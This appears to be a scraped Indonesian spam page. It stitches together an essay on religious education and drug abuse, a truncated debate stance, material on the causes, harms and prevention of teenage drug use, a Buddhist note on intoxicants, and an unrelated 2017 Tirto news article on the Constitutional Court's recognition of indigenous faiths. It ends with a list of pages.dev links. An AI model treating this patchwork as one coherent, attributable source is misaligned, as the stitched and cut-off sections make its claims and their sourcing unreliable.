mulai dari penyuluhan hingga pelarangan hukum. Namun, masih banyak masyarakat yang terus terjerumus dalam penyalahgunaan narkoba. Salah satu faktor utama yang melatarbelakangi hal tersebut adalah kurangnya pendidikan agama di kalangan masyarakat. Oleh karena itu, optimalisasi pendidikan agama menjadi bagian penting dalam upaya menanggulangi penyalahgunaan narkoba. Di Indonesia, pendidikan agama sejatinya memiliki peran penting dalam membentuk karakter dan menjaga moralitas masyarakat. Melalui pendidikan agama, masyarakat diajarkan mengenai nilai-nilai kebaikan, moral, dan etika yang mencakup aspek kehidupan. Sayangnya, dalam beberapa tahun terakhir, pendidikan agama tampak kurang terfasilitasi dengan baik di beberapa wilayah. Hal ini bisa disebabkan oleh kurangnya dana atau sumber daya manusia yang cukup untuk mendukung pendidikan agama itu sendiri. Padahal, jika pendidikan agama di Indonesia dapat dioptimalkan dengan baik, maka akan memberikan dampak positif terhadap pencegahan penyalahgunaan narkoba. Mengapa demikian? Karena pendidikan agama dapat membentuk karakter masyarakat yang kuat, yang mampu membedakan mana yang benar dan mana yang salah dari sisi moralitas. Selain itu, pendidikan agama juga berfungsi sebagai pengingat akan tugas masyarakat menghargai hak orang lain, dan mencapai kesetimbangan antara hak dan kewajiban individu dengan masyarakat. Ada beberapa cara yang dapat dilakukan guna meningkatkan optimalisasi pendidikan agama dalam upaya menanggulangi penyalahgunaan narkoba di Indonesia. 1. Menyediakan guru-guru agama yang berkualitas Guru agama memiliki peran yang sangat penting dalam mendidik anak agar memiliki spiritualitas dan moral yang baik. Oleh karena itu, diperlukan guru agama yang memiliki kualitas yang cukup untuk mengembangkan kelas yang lebih efektif dan berorientasi pada pesanan murid. Kurangnya guru agama dengan kualifikasi yang memadai menjadikan beberapa daerah di Indonesia masih mengalami masalah dalam meningkatkan pendidikan agama. Dengan menyediakan guru agama berkualitas, maka dapat diharapkan pendidikan agama semakin efektif dalam membentuk karakter murid. 2. Memberikan kurikulum pendidikan agama yang lebih mapan Optimalisasi pendidikan agama juga dapat dilakukan melalui peningkatan kurikulum yang lebih mapan. Kurikulum harus dibuat dalam konteks pengembangan pembelajaran yang menyenangkan dan mudah dipahami oleh siswa. Hal ini akan membuat pendidikan agama menjadi lebih menarik bagi murid, dan menjadikannya sebagai sarana yang efektif untuk membentuk karakter dan moralitas masyarakat. 3. Meningkatkan akses pendidikan agama bagi masyarakat Pemerintah dan pihak terkait seharusnya lebih memikirkan akses pendidikan agama bagi masyarakat. Terlebih lagi bagi masyarakat yang tinggal di daerah terpencil dan miskin. Pendidikan agama harus hadir untuk semua, tidak hanya untuk kalangan tertentu saja. Diharapkannya, dengan meningkatkan akses pendidikan agama, maka masyarakat dapat lebih mudah membentuk karakter yang kuat, dan berakhlak mulia. 4. Melibatkan para pemuka agama Para pemuka agama memiliki peran yang sangat penting dalam membentuk karakter masyarakat yang kuat. Oleh karena itu, melibatkan para pemuka agama sebagai ujung tombak dalam upaya meningkatkan pendidikan agama sangat penting. Para pemuka agama dapat dijadikan teladan dan model bagi masyarakat, baik dalam hal berakhlak maupun dalam pandangan mereka terhadap penyalahgunaan narkoba. Sehingga, melibatkan para pemuka agama diharapkan dapat meningkatkan efektivitas dan efisiensi pendidikan agama di Indonesia. 5. Melakukan evaluasi terhadap hasil pendidikan agama yang sudah dilakukan Evaluasi terhadap hasil pendidikan agama yang dilakukan penting dilakukan, dengan akan baik jika terdapat indikator keberhasilan seperti peningkatan akhlak dan etika baik di keluarga dan masyarakat serta menurunnya angka penyalahgunaan narkoba. Evaluasi ini dilakukan guna memastikan bahwa pendidikan agama yang dijalankan berjalan dengan efektif dan memberikan hasil yang baik dalam membentuk karakter dan moral masyarakat. Penyalahgunaan narkoba adalah salah satu masalah kompleks di Indonesia yang harus segera diatasi. Salah satu solusi yang dapat dilakukan adalah dengan mengoptimalkan pendidikan agama dalam upaya menanggulangi penyalahgunaan narkoba. Dengan memperbaiki dan mengoptimalkan pendidikan agama, maka diharapkan masyarakat dapat membentuk karakter yang kuat dan menyadari betul tentang bahaya penyalahgunaan narkoba.

Kontra Kami tidak setuju Kurangnya Pendidikan Agama Di Rumah Menjadi Penyebab Utama Penyalah gunaan Narkoba karena ada 5 Faktor penyebab remaja jatuh ke narkoba: 1. Faktor Pribadi : Ada beberapa faktor pribadi yang bisa menyebabkan remaja terlibat penyalahgunaan narkoba, dan berikut faktor pribadi itu sendiri :

Lampung Kalianda – Masa remaja merupakan suatu fase perkembangan antara masa anak-anak dan masa dewasa. Perkembangan seseorang dalam masa anak-anak dan remaja akan membentuk perkembangan diri orang tersebut di masa dewasa. Karena itulah bila masa anak-anak dan remaja rusak karena narkoba, maka suram atau bahkan hancurlah masa depannya. Pada masa remaja, justru keinginan untuk mencoba-coba, mengikuti trend dan gaya hidup, serta bersenang-senang besar sekali. Walaupun semua kecenderungan itu wajar-wajar saja, tetapi hal itu bisa juga memudahkan remaja untuk terdorong menyalahgunakan narkoba. Data menunjukkan bahwa jumlah pengguna narkoba yang paling banyak adalah kelompok usia remaja. Masalah menjadi lebih gawat lagi bila karena penggunaan narkoba, para remaja tertular dan menularkan HIV/AIDS di kalangan remaja. Hal ini telah terbukti dari pemakaian narkoba melalui jarum suntik secara bergantian. Bangsa ini akan kehilangan remaja yang sangat banyak akibat penyalahgunaan narkoba dan merebaknya HIV/AIDS. Kehilangan remaja sama dengan kehilangan sumber daya manusia bagi bangsa. Pengertian Narkoba Narkoba adalah obat, bahan dan zat bukan makanan yang jika diminum, dihisap, dihirup, ditelan atau disuntik berpengaruh pada kerja otak dan sering menyebabkan kerja otak berubah. Demikian pula fungsi vital organ lain seperti jantung, peredaran darah, pernapasan, dan lain-lain. Dampak bahaya Penyalahgunaan Narkoba Dampak Fisik Gangguan pada sistem saraf neorologis kejang-kejang, halusinasi, gangguan kesadaran, kerusakan saraf tepi. Gangguan pada jantung dan pembuluh darah kardiovaskuler infeksi akut otot jantung, gangguan peredaran darah. Gangguan pada kulit dermatologis penanahan, bekas suntikan dan alergi. Gangguan pada paru-paru pulmoner penekanan fungsi pernapasan, kesukaran bernafas, penggesaran jaringan paru-paru, pengumpulan benda asing yang terhirup. Dapat terinfeksi virus HIV dan AIDS, akibat pemakain jarum suntik secara bersama-sama. Dampak psikologis Berfikir tidak normal, berperasaan cemas, tubuh membutuhkan jumlah tertentu untuk menimbulkan efek yang di inginkan, ketergantungan / selalu membutuhkan obat. Dampak sosial dan ekonomi Selalu merugikan masyarakat baik ekonomi, sosial, kesehatan & hukum. Ciri-ciri penyalahguna Narkoba Perubahan fisik dan lingkungan sehar-hari jalan sempoyongan; penampilan dunguk; bicara tidakjelas; mata merah; kurus dan nyeri tulang. Perubahan psikologis gelisah, bingung, apatis, suka menghayal, dan linglung. Perubahan prilaku sosial menghindari kontak mata langsung; suka melawan; mudah tersinggung; ditemukan obat2an, jarum suntik dalam kamar/ tas; suka berbohong; suka bolos sekolah; malas belajar, suka mengurung diri di kamar. Dari sudut individu, penyalahgunaan narkoba harus dipahami dari masalah perilaku yang kompleks, yang juga dipengaruhi oleh faktor berbicara tentang keluarga, kelompok sebaya, kehidupan sekolah, dan masyarakat. Dari ketiganya, yang terpenting adalah faktor individu. Seorang harus bertanggung jawab atas perilakunya dan tidak boleh mempersalahkan orang lain atau keadaan. Tanggung jawab adalah masalah pengambilan keputusan, yang dilakukan atas pertimbangan mengenai apa yang baik dan buruk. Ada lima faktor utama seorang menjadi rawan terhadap narkoba yaitu 1 Keyakinan Adiktif Keyakinan adiktif adalah keyakinan tentang diri sendiri, orang lain dan dunia sekitar. Semua keyakinan itu menentukan kepribadian, dan perilakunya sehari-hari. Beberapa keyakinan adiktif adalah harus sempurna,harus menguasai dan mengendalikan orang lain, harus memperoleh apa yang diinginkannya. Keyakinaan itu umumnya tidak disadari, seseorang tidak akan mengatakan keyakinan itu kepada dirinya sendiri atau kepada orang lain. 2 Kepribadian Adiktif Beberapa ciri kepribadian adiktif adalah teropsesi pada diri sendiri, kurangnya jati diri, hidup tanpa tujuan, depresi yang tersembunyi, tidak mampu mengatasi masalah dan kebutuhan pemuasan segera. 3 Ketidakmampuan Menghadapi Masalah Seorang yang tinggal dalam keluarga dan masyarakat adiktif, memiliki sedikit sekali orang-orang yang dapat menjadi teladan tentang bagaimana menghadapi masalah dengan baik dan kebanyakan orang lebih suka mencari penyelesaian masalah saat itu juga yang langsung dapat memuaskan keinginannya. 4 Tidak Terpenuhinya Kebutuhan Emosional Tidak Terpenuhinya Kebutuhan yang seharusnya seorang terima yaitu, rasa aman, tujuan hidup, serta ini masih pula ditambah ketidakmampuan seseorang mengatasi masalah, dan rasa nyaman pada adiksi. 5 Kurangnya Dukungan Sosial Tanpa adanya dukungan sosial yang memadai dari keluarga, sekolah, dan masyarakat, ketidakmampuan menghadapi masalah menyebabkan mencari penyelesaian pada narkoba. Banyak faktor yang dapat menyebabkan seseorang mulai menyalahgunakan narkoba, sehingga pada akhirnya dapat menyebabkan ketergantungan. Beberapa faktor penyebab penyalahgunaan narkoba diantaranya yaitu 1. Faktor kepribadian Beberapa hal yang termasuk di dalam faktor pribadi adalah genetik, bilogis, personal, kesehatan dan gaya hidup yang memiliki pengaruh dalam menetukan sorang remaja terjerumus dalam penyalahgunaan narkoba . Kurangnya Pengendalian Diri Orang yang coba-coba menyalahgunakan narkoba biasanya memiliki sedikit pengetahuan tentang narkoba, bahaya yang ditimbulkan, serta aturan hukum yang melarang penyalahgunaan narkoba. Konflik Individu/Emosi Yang Belum Stabil Orang yang mengalami konflik akan mengalami frustasi. Bagi individu yang tidak biasa dalam menghadapi penyelesaian masalah cenderung menggunakan narkoba, karena berpikir keliru bahwa cemas yang ditimbulkan oleh konflik individu tersebut dapat dikurangi dengan mengkonsumsi narkoba. Terbiasa Hidup Senang / Mewah Orang yang terbiasa hidup mewah kerap berupaya menghindari permasalahan yang lebih rumit. Biasanya mereka lebih menyukai penyelesaian masalah secara instan, praktis, atau membutuhkan waktu yang singkat sehingga akan memilih cara-cara yang simple yang dapat memberikan kesenangan melalui penyalahgunaan narkoba yang dapat memberikan rasa euphoria secara berlebihan. 2. Faktor Keluarga Kurangnya kontrol keluarga Orang tua terlalu sibuk sehingga jarang mempunyai waktu mengontrol anggota keluarga. Anak yang kurang perhatian dari orang tuanya cenderung mencari perhatian diluar, biasanya mereka juga mencari kesibukan bersama teman-temanya. Kurangnya penerapan disiplin dan tanggung jawab Tidak semua penyalahgunaan narkoba yang dilakukan oleh remaja dimuali dari keluarga yang broken home, semua anak mempunyai potensi yang sama untuk terlibat dalam penyalahgunaan narkoba. Penerapan disiplin dan tanggung jawab kepada anak akan mengurangi resiko anak terjebak ke dalam penyalahgunaan narkoba. Anak yang mempunyai tanggung jawab terhadap dirinya, orang tua dan masyarakat akan mempertimbangkan beberapa hal sebelum mencoba-coba menggunakan narkoba. 3. Faktor Lingkungan Masyarakat Yang Individualis Lingkungan yang individualistik dalam kehidupan kota besar cenderung kurang peduli dengan orang lain, sehingga setiap orang hanya memikirkan permasalahan dirinya tanpa peduli dengan orang sekitarnya. Akibatnya banayak individu dalam masayarakat kurang peduli dengan penyalahgunaan narkoba yang semakin meluas di kalangan remaja dan anak-anak. Pengaruh Teman Sebaya Pengaruh teman atau kelompok juga berperan penting terhadap penggunaan narkoba. Hal ini disebabkan antara lain karena menjadi syarat kemudajan untuk dapat diterima oleh anggota kelompok. Kelompok atau Genk mempunyai kebiasaan perilaku yang sama antar sesama anggota. Jadi tidak aneh bila kebiasaan berkumpul ini juga mengarahkan perilaku yang sama untuk mengkonsumsi narkoba. 4. Faktor Pendidikan Pendidikan akan bahaya penyalahgunaan narkoba di sekolah-sekolah juga merupakan salah satu bentuk kampanye anti penyalahgunaan narkoba. Kurangnya pengetahuan yang dimiliki oleh siswa-siswi akan bahaya narkoba juga dapat memberikan andil terhadap meluasnya penyalahgunaan narkoba di kalangan pelajar. 5. Faktor Masyarakat dan Komunitas Sosial Faktor yang termasuk dan mempengaruhi kondisi sosial seorang remaja atnara lain hilangnya nilai-nilai dalam sebuah keluarga dan sebuah hubungan, hilangnya perhatian dengan komunitas, dan susahnya berdaptasi dengan baik bisa dikatakan merasa seperti alien, diasingkan 6. Faktor Populasi Yang Rentan Remaja masa kini hidup dalam sebuah lingkaran besar, dimana sebagian remaja berada dalam lingkungan yang beresiko tinggi terhadap penyalahgunaan narkoba. Banyak remaja mulai mencoba-coba narkoba, seperti amphetamine-type stimulants termasuk didalamnya alkohol, tembakau dan obat-obatan yang diminum tanpa resep atau petunjuk dari dokter, serta obat psikoaktif sehingga menimbulkan berbagai macam masalah pada akhirnya Akibat penyalahgunaan narkoba bagi pelajar 1 Bagi Diri Sendiri 1. Terganggunya fungsi otak dan perkembangan normal remaja 1 Daya ingat sehingga mudah lupa 2 Perhatian sehingga sulit berkonsentrasi 3 Persepsi sehingga memberi perasaan semu. 1. Keracunan, yaitu timbul akibat pemakaian narkoba dalam jumlah yang cukup, berpengaruh pada tubuh dan perilakunya. 2. Overdosis, terjadi karena sudah lama berhenti pakai, lalu memakai lagi dengan dosis yang dahulu digunakan. Overdosis dapat menyebabkan kematian karena terhentinya pernapasan atau peredaran otak. 3. Gejala putus zat, yaitu gejala ketika dosis yang dipakai berkurang atau dihentikan pemakaianya. 4. Berulang kali kambuh, yaitu ketergantungan menyebabkan craving rasa rindu pada narkoba walaupun telah berhenti pakai. Itulah sebabnya pecandu akan berulang kali kambuh. 5. Gangguan perilaku, yaitu sulit mengendalikan diri, mudah tersinggung, menarik diri dari pergaulan, serta hubungan dengan keluarga terganggu. Terjadi perubahan mental, gangguan pemusatan perhatian, motivasi belajar lemah. 6. Gangguan kesehatan, yaitu kerusakan atau gangguan fungsi organ tubuh seperti, hati, jantung, paru-paru, ginjal, dan lai-lain, 7. Kendornya nilai-nilai, yaitu mengendornya nilai-nilai kehidupan agama, sosial-budaya, seperti seks bebas dengan akibatpenyakit kelamin, kehamilan tak diinginkan. Sopan santun hilang. Ia menjadi asocial, mementingkan diri sendiri, dan tidak mempedulikan kepentingan orang lain. 8. Masalah ekonomi dan hukum, yaitu pecandu terlibat hutang, karena berusaha memenuhi kebutuhannya akan narkoba. Ia mencuri uang atau menjual barang-barang milik pribadi atau keluarga. Jika masih sekolah, uang sekolah digunakan untuk membeli narkoba, sehingga terancam putus sekolah, dan di tahan polisi atau bahkan di penjara. RESIKO PEMULIHAN PENYALAHGUNAAN NARKOBA – Umumnya seorang pengguna Narkoba membutuhkan waktu yang cukup lama untuk pemulihan kondisi fisik, psikis dan sosial. Dalam tahap pemulihan untuk kembali pada kondisi yang wajar, korban harus menjalani program rehabilitasi – Dibutuhkan biaya yang besar, waktu, upaya, kerja keras, disiplin, niat yang kuat dan kerjasama antara keluarga dan lembaga/pusat rehabilitasi untuk pemulihan – Tidak ada jaminan sama sekali bahwa ia tidak dapat kambuh/menggunakan lagi, sekalipun seorang pecandu sudah pulih beberapa tahun. Pemulihan adalah perjuangan seumur hidup. Pencegahan penanggulangan Narkoba Penggunaan narkoba tidak sesuai dengan ketentuan disebut penyalahgunaan narkoba. Sangat memprihatinkan penyalahgunaan narkoba ini yang telah menimpa generasi muda, mulai dari anak SD sampai perguran tinggi. Mereka yang terkena penyalahgunaan narkoba akan mengalami ketidak seimbangan emosi, kemauan. Pola penyalahgunaan narkoba mula mula di mulai dengan bujukan, penawaran, ataupun tekanan dari seseorang atau kelompok yang bersangkutan. Dorongan rasa ingin tahu, ingin mencoba dan atau ingin merasakan maka anak mau menerima tawaran tersebut. Dan hal ini makin lama makin ketagihan, sulit untuk menolak tawaran tersebut. Korban-korban penyalahgunaan narkoba mulai sejak SD, SMP, SMA dan bahkan ke perguruan tinggi, untuk itu perlu ada usaha pencegahan sedini mungkin. cara cara pencegahan meluasnya pengaruh penyalahgunaan narkoba dikalangan pelajar. Dengan basis sekolah sebagai salah satu aspek masyarakat yang menyiapkan warganya untuk masa depan. seperti bersikap dan berperilaku positip, mengenal situasi penawaran/ajakan dan terampil menolak tawaran/ajakan tersebut. Penyalahgunaan narkoba merupakan masalah perilaku manusia bukan semata-mata masalah zat atau narkoba itu sendiri. Maka dalam usaha pencegahan meluasnya pengaruh penyalahgunaan narkoba itu perlu pendekatan tingkah laku. Tentu saja hal ini perlu selektif, jangan sampai terjadi sebaliknya. Karena dorongan rasa ingin tahu justru terjerumus dalam penyalahgunaan narkoba. Maka dikembangkanlah cara belajar hidup bertanggung jawab. Dan menangkal terjadinya kekerasan akibat penyualahgunaan narkoba. Cara yang harus dilakukan adalah DARE Drug Abuse Resisstance Education Program , yang populer di Amerika Serikat pada sekarang ini. Penanggulangan Penyalahgunaan Narkoba Penanggulangan Narkoba Penyalahgunaan dan peredaran gelap Narkoba saat ini menjadi masalah yang sangat memprihatinkan dan semakin meningkat serta merupakan masalah bersama antara yang melibatkan pemerintah dan masyarakat sehingga memerlukan suatu strategi yang melibatkan seluruh bangsa dalam suatu gerakan bersama untuk melaksanakan strategi dalam menanggulangi Narkob di negara kita ini. sebagai berikut 1. Bidang Pencegahan Penyalahgunaan Narkoba. Mencegah penyalahgunaan narkoba dengan meningkatkan kapasitas pada bidang terkait, meningkatkan kualitas seorang aparat, n menumbuhkan kesadaran, kepedulian dan peran aktif seluruh masyarakat melalui lembaga keagamaan, organisasi kemasyarakatan, tokoh masyarakat, pelajar, mahasiswa dan pemuda, pekerja, serta lembaga-lembaga lainnya yang ada di masyarakat. Pendidikan, Kesehatan sosial, Sosial-Akhlak, Sosial-pemuda & OR Ekonomi-Tenaga Kerja. Mencegah terjadinya penyalahgunaan dan perredaran gelap, dengan upaya-upaya yang berbasiskan masyarakat mendorong dan menggugah kesadaran, kepedulian dan peran serta aktif seluruh komponen masyarakat dengan motto yang menjadi pendorong semangat adalah ”Mencegah Lebih baik Daripada Mengobati” menghilangkan atau mengurangi faktor-faktor yang mendorong timbulnya kesempatan atau peluang untuk melakukan penyalahgunaan dan peredaran gelap narkoba, dengan usaha kegiatan n menciptakan kesadaran, kepedulian, kewaspadaan, prilaku dan hidup sehat tanpa narkoba. Strategi Nasional Usaha Promotif Usaha-usaha promotif dilaksanakan dengan kegiatan-kegiatan pembinaan dn pengembangan lingkungan masyarakat bebas narkoba, pembinaan dan pengembangan pola hidup sehat, beriman, kegiatan positif, produktif, konstruktif dan kreatif. Strategi nasional untuk komunikasi, Informasi dan Pendidikan Pencegahan. Pencegahan penyalahgunaan narkoba terutama diarahkan kepada generasi muda anak, remaja, pelajar, pemuda, dan mahasiswa. Penyalahgunaan sebagai hasil interaksi individu yang kompleks dengan berbagai elemen dari lingkungannya, terutama dengan orng tua, sekolah, lingkungan masyarakat dan remajapemuda lainnya, oleh karena itu Strategi informasi dan Pendidikan Pencegahan dilaksanakan melalui 7 Tujuh jalur yaitu Keluarga, dengan sasaran orang tua, anak, pemuda, remaja dan anggota keluarga lainnya. Pendidikan, sekolah maupun luar sekolahdengan kelompok sasaran gurutenaga pendidikan dan peserta didikwarga belajar baik secara kurikuler maupun ekstra kurikuler. Lembaga keagamaan, engan sasaran pemuka-pemuka agama dan umatnya. Organisasi sosial kemasyarakatan, dengan sasaran remajapemuda dan masyarakat. Organisasi Wilayah Pemukiman LKMD, RT,RW, dengan sasaran warga terutama pemuka masyarakat dan remaja setempat. Unit- unit kerja, dengan sasaran Pimpinan, Karyawan dan keluargannya. Mass Media baik elektronik, cetak dan Media Interpersonal Talk show dan dialog interaktif, dengan sasaran luas maupun individu. Terkait
PandanganAgama Buddha tentang Penyalahgunaan Narkoba. Menghindari bahan-bahan yang dapat membuat seseorang menjadi ketagihan dan memabukkkan adalah salah satu sila yang dilaksanakan oleh umat Budha.Semua ketentuan mengenai minuman keras berlaku untuk segala jenis bahan makanan atau minuman yang mengganggu kesadaran.
- Para penghayat kepercayaan di Indonesia boleh bernapas lega. Perjuangan panjang dan berliku mereka untuk mendapat pengakuan negara dalam catatan administrasi kependudukan lewat uji materi Undang-Undang Administrasi Kependudukan dikabulkan oleh Ketua Mahkamah Konstitusi MK Arief Hidayat pada Selasa 7/11/2017. Arief menyatakan kata “agama” dalam Pasal 61 ayat 1 dan Pasal 64 ayat 1 Undang-Undang Administrasi Kependudukan tidak mempunyai kekuatan hukum tetap sepanjang tidak dimaknai termasuk "kepercayaan". Hal serupa juga berlaku untuk Pasal 61 ayat 2 dan Pasal 64 ayat 5 yang dinilai MK tak memiliki kekuatan hukum mengikat. Para pemohon; Nggay Mehang Tana, Pagar Demanra Sirait, Arnol Purba, dan Carlim, merasa aturan yang terdapat dalam Pasal 61 ayat 1, 2 dan Pasal 64 ayat 1, 2 Undang-Undang Administrasi Kependudukan merugikan mereka. Para penghayat kepercayaan kesulitan saat mengurus Kartu Keluarga KK, Kartu Tanda Penduduk Elektronik e-KTP, akte nikah, akte kelahiran, hingga mengakses pekerjaan, hak atas jaminan sosial. Untuk KK dan e-KTP, ada banyak penghayat yang dipaksa memilih salah satu dari enam agama resmi. Melalui keputusan MK tersebut para penghayat kini bisa mencatatkan kepercayaannya di dokumen resmi negara. Langkah ini merupakan kemajuan besar bagi para penghayat yang selama ini ingin diperlakukan setara sebagaimana warga negara Indonesia lain, serta tak lagi mengalami tindak diskriminasi di ranah administratif maupun di ranah sosial-politik. Baca juga Agama-agama yang Terpinggirkan Namun, respons masyarakat terutama di lingkaran elite organisasi masyarakat, tak seluruhnya mengapresiasi positif. Salah satunya datang dari Yunahar Ilyas, Ketua Bidang Tarjih, Tajdid, dan Tabligh PP Muhammadiyah, yang mempertanyakan alasan MK mengabulkan gugatan pemohon. Ia berkeyakinan jika kepercayaan yang dianut para penghayat bukanlah agama, sehingga ia nilai tak perlu dimasukkan ke kolom agama KTP. Pendapatnya selaras dengan mantan Ketua Umum PP Muhammadiyah yang sekarang menjabat sebagai Ketua Dewan Pertimbangan Majelis Ulama Indonesia, Din Syamsudin. Pada akhir Agustus 2017 lalu menyatakan penghayat kepercayaan seperti Sunda Wiwitan bukan agama sehingga tidak perlu dimasukkan ke kolom agama di KTP. “Bukan dalam pengertian agama yang secara ilmiah. Berdasarkan wahyu atau berdasarkan semacam ilham. Kemudian membentuk kitab suci, ada pembawanya, ada sistem ritusnya,” kata Din. Samsul Maarif, pengajar pada Center for Religious and Cross-cultural Studies CRCS UGM yang menjadi salah satu saksi ahli dalam sidang polemik penghayat kepercayaan di MK, menegaskan bahwa sesungguhnya definisi "agama" secara formal di Indonesia tak pernah ada. Saat dihubungi Tirto, ia menjelaskan bahwa ketiadaan ini menjadi akar diskriminasi kepada para penghayat kepercayaan di Indonesia. “Pernah diusulkan di tahun 1950-an oleh Departemen Agama namun ditolak oleh sejumlah kelompok non-muslim dan muslim juga. Usaha itu digunakan untuk menargetkan kelompok Islam yang cenderung abangan atau tidak ortodoks. Usaha ini bagi saya adalah infiltrasi suatu kelompok kepada negara agar bisa mengontrol kelompok lain karena pada dasarnya definisi yang diusulkan bersifat sektarian, spesifik, sempit, dan hanya bisa dipakai untuk mendefinisikan Islam saja.” jelasnya pada Kamis 10/11/2017. Baca juga Sebait Maaf untuk Orang-orang Adat Akibat "agama" tak memiliki definisi formalnya, Samsul menilai ia tak bisa dijadikan rujukan untuk mengatur undang-undang menyangkut kewarganegaraan para penghayat. Jika dipakai pun, imbuhnya, definisi itu akan melahirkan diskriminasi kepada para penghayat kepercayaan sebab jika ingin diakui negara maka kepercayaan itu mesti menyesuaikan diri dulu. “Usaha mendefinisikan agama kental intrik politik, jadi dipakai untuk meng-include merangkul beberapa kelompok tapi juga meng-exclude mengecualikan beberapa kelompok lain.” tegasnya. Samsul menilai pemerintah Orde Baru pada awalnya memperlakukan para penghayat kepercayaan dengan cukup baik karena TAP MPR tahun 1973 menyebutkan aliran kepercayaan setara dengan agama. Namun, perubahan TAP MPR Nomor 478 yang isinya menyebut kepercayaan termasuk dalam kategori kebudayaan, bukan termasuk agama. Di tahun yang sama pemerintah juga meresmikan 5 agama yang diakui negara kini jadi 6, penghayat kepercayaan wajib berafiliasi ke salah satunya, dan kolom agama di KTP diciptakan untuk pertama kali. Setelah reformasi mulai muncul wacana tentang hak asasi manusia menguat, terutama bicara soal diskriminasi, salah satunya adalah di ranah kepercayaan. Perjuangan untuk menyetarakan hak bagi para penghayat kepercayaan makin intens dan menuai sejumlah hasil, walaupun belum ideal. Misalnya kebijakan pengosongan kolom agama di KTP, yang bagi Samsul menunjukkan tidak ada pengakuan dari negara sebab tetap membedakan penganut kepercayaan dengan penganut agama resmi . “Pengosongan juga memfasilitasi menjamurnya stigma sosial, contohnya stigma mereka yang kosong kolom agamanya dianggap anggota PKI. Dulu negara berargumen penulisan nama kepercayaan akan merepotkan secara administratif karena jumlahnya diperkirakan ratusan. Ditulis 'kepercayaan' itu pun menurut saya sudah cukup memfasilitasi kelompok penghayat yang masing-masing punya nama.” jelasnya. Baca juga Diskriminasi Penganut Kepercayaan Tak hanya di Indonesia, pendefinisian "agama" juga bermasalah di tingkat global—termasuk di bidang kajian perbandingan agama. Konstruksinya, menurut Samsul, selalu didasarkan pada agama besar yang pengikutnya tersebar di mana-mana. Kepercayaan lokal menjauhi kondisi yang serupa karena lingkup komunitasnya cenderung terbatas teritori. Penghayat kepercayaan Ajaran Samin, misalnya, hanya ada di Blora Jawa Tengah dan Bojonegoro Jawa Timur. Samsul menilai kasus yang terjadi di Indonesia cukup unik. Indonesia mengklaim dirinya plural tapi agama yang diakui hanya enam. Padahal secara konkret ada banyak kepercayaan yang tidak diakui secara setara apalagi diakomodasi dengan semestinya. Negara sekuler seperti Amerika Serikat atau Inggris tidak mengurusi agama, kata Samsul, sehingga tak melebar ke urusan administrasi. Meski demikian kebebasan menjalankan keyakinan tetap dijunjung tinggi. “Di Selandia Baru pemerintah dan warganya enggak terlalu banyak ngomong tentang agama, tetapi tradisi dan kepercayaan lokal dihargai. Bahkan sudah sampai ke peraturan bahwa mata air dan sungai itu dilihat sebagai subjek hukum dan dijaga oleh penduduk di sekitarnya. Peraturannya termasuk baru, baru beberapa tahun yang lalu, dan semakin melindungi hak hidup komunitas lokal dan kepercayaannya sendiri,”paparnya. Ia pun merasa heran dengan kekhawatiran berlebihan Wasekjen DPP PPP Ahmad Baidowi yang memandang putusan baru MK akan menjadi alasan bagi pemeluk agama lain untuk tidak menjalankan ritual peribadatan mereka. Baidowi juga menilai keputusan tersebut bisa menjadi alat terselubung bagi paham-paham yang dilarang di negeri ini untuk berkembang dengan berdalih aliran kepercayaan. "Jangan sampai paham-paham agama atau paham lain yang dilarang dimasukkan dalam aliran kepercayaan. Bisa jadi misalnya paham komunis agar enggak terdeteksi ditulis aliran kepercayaan," kata Baidowi kepada Tirto, Rabu 8/11/2017. Baca juga Zahid Hussein, Jenderal Aliran Kepercayaan dan Soeharto Keputusan MK, menurut Samsul, justru menjadi syarat agar kelompok penghayat tak dipaksa pindah keyakinan sampai tak bisa menjalankan keyakinan mereka dengan baik. Keputusan MK adalah syarat minimal agar para penghayat mendapatkan haknya di ranah administrasi. Lebih penting lagi, adalah pemenuhan tiga hak pokok pengakuan, representasi, dan redistribusi bagi para penghayat kepercayaan. “Karena eksistensinya diakui di ruang publik, maka lahir representasi. Contohnya di dunia pendidikan. Setelah putusan MK ini, status mereka harus diinformasikan ke peserta didik. Pendidikan agama ada, maka pendidikan kepercayaan juga harus ada.” “Redistribusi berarti berbagai hal yang negara sediakan fasilitasnya untuk publik juga harus menjangkau kelompok kepercayaan. Misalnya tak boleh didiskriminasi saat akan mendaftar kerja apapun—apalagi kerja di pemerintahan. Diskriminasi harus berbuah pelanggaran. Ekonomi, politik, semuanya juga harus setara,” pungkasnya. Tak lama usai putusan MK muncul, Menteri Dalam Negeri Tjahjo Kumolo berjanji kementeriannya akan segera melaksanakan amanat putusan MK. "Kemendagri akan berkoordinasi dengan Kementerian Agama dan Kementerian Pendidikan untuk mendapatkan data kepercayaan yang ada di Indonesia," kata Tjahjo seperti dilansir laman menambahkan Ditjen Kependudukan dan Pencatatan Sipil Kemendagri akan memasukan data aliran kepercayaan tersebut ke dalam sistem administrasi kependudukan. Setelah data itu diperoleh, maka Kemendagri akan memperbaiki aplikasi SIAK dan aplikasi data base, serta melakukan sosialisasi ke 514 kabupaten dan kota. - Hukum Reporter Akhmad Muawal HasanPenulis Akhmad Muawal HasanEditor Windu Jusuf
DtSUpWZ.
  • hte2292gaf.pages.dev/187
  • hte2292gaf.pages.dev/255
  • hte2292gaf.pages.dev/59
  • hte2292gaf.pages.dev/369
  • hte2292gaf.pages.dev/13
  • hte2292gaf.pages.dev/30
  • hte2292gaf.pages.dev/205
  • hte2292gaf.pages.dev/366
  • hte2292gaf.pages.dev/397
  • pro dan kontra kurangnya pendidikan agama penyebab penyalahgunaan narkoba